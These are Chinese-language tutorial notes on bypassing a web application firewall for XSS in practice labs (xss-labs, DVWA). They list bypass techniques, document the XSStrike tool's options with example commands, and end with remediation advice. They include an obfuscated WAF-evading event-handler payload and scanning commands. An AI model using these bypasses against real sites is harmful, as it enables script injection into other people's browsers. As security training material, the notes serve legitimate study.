WEB漏洞-XSS跨站之WAF绕过及安全修复
waf防护演示
靶场:xss-labs
被安全狗拦截
分析拦截情况
分析方法:
1、通过去除关键词或关键词的其中些字母判断拦截了什么关键词,如下正常
2、分析了拦截情况可知也可能是尖括号里面如果有s、o之类的关键词其中的某个或多个字母的话就会拦截,正则表达式
3、不拦截,但是不管用
4、正常,并且可以访问
/结束
常规WAF绕过思路
标签语法替换
特殊符号干扰
/ #
提交方式更改
垃圾数据溢出
加密解密算法
结合其他漏洞绕过
XSStrike自动化工具说明
靶场:xss-labs,dvws
各个选项说明
-h, --help 显示帮助信息并退出
-u, --url 目标url
–data post方法的数据
-f, --file 从文件读取payloads
-t, --threads 线程数量
-l, --level 爬取级别
-t, --encode payload采取的编码
–json json格式的数据
–path 指定路径注入
–seeds 从文件加载url
–fuzzer fuzz工具
–update 更新
–timeout 超时时间
–params 寻找参数
–crawl 爬取
–proxy 使用代理
–blind 爬取时盲注
–skip 跳过确认等
–skip-dom 跳过dom检查
–headers 添加headers
-d, --delay 两次请求之间的延迟
-u或--url
添加目标url,单个GET方法
?name=<A/+/onmOuSeoVer%0d=%0dconfirm()%0dx>v3dm0s
挑选其中一个手动注入发现成功绕过
--data
post方法的数据(多个参数)
python xsstrike.py -u "http://IP地址/vulnerabilities/xss_s/" --data "txtName=test&mtxMessage=This+is+a+test+comment.&btnSign=Sign+Guestbook"
--seeds
从文件
选项:–seeds 不使用-u选项
python xsstrike.py --seeds urls.txt
--path
测试url路径组件
想要在URL路径中注入这样的有效负载 http://example.com/search/<payload>
python xsstrike.py -u "http://example.com/search/form/query" --path
--json
POST数据为json格式
python xsstrike.py -u "http://example.com/search.php" --data '{"q":"query"}' --json
--crawl
爬取
python xsstrike.py -u "http://ip地址/vulnerabilities/xss_r" --crawl
--level
爬取深度
选项-l或–level 默认为2
python xsstrike.py -u "http://IP地址/vulnerabilities/" --crawl -l 5
-f或--file
从文件读取payloads
python xsstrike.py -u "http://ip地址/vulnerabilities/xss_r?name=''" -f payloads.txt
--params
查找隐藏参数
python xsstrike.py -u "http://ip地址/vulnerabilities/xss_r" --params
--fazzer
Fuzz下XSS绕过WAF
靶场:xss-labs
使用:fuzz模糊搜索
安全修复方案
开启httponly
https://www.yisu.com/zixun/310495.html
输入过滤
对输入进行过滤,不允许可能导致XSS攻击的字符输入
输出转义
根据输出点的位置对输出到前端的内容进行适当转义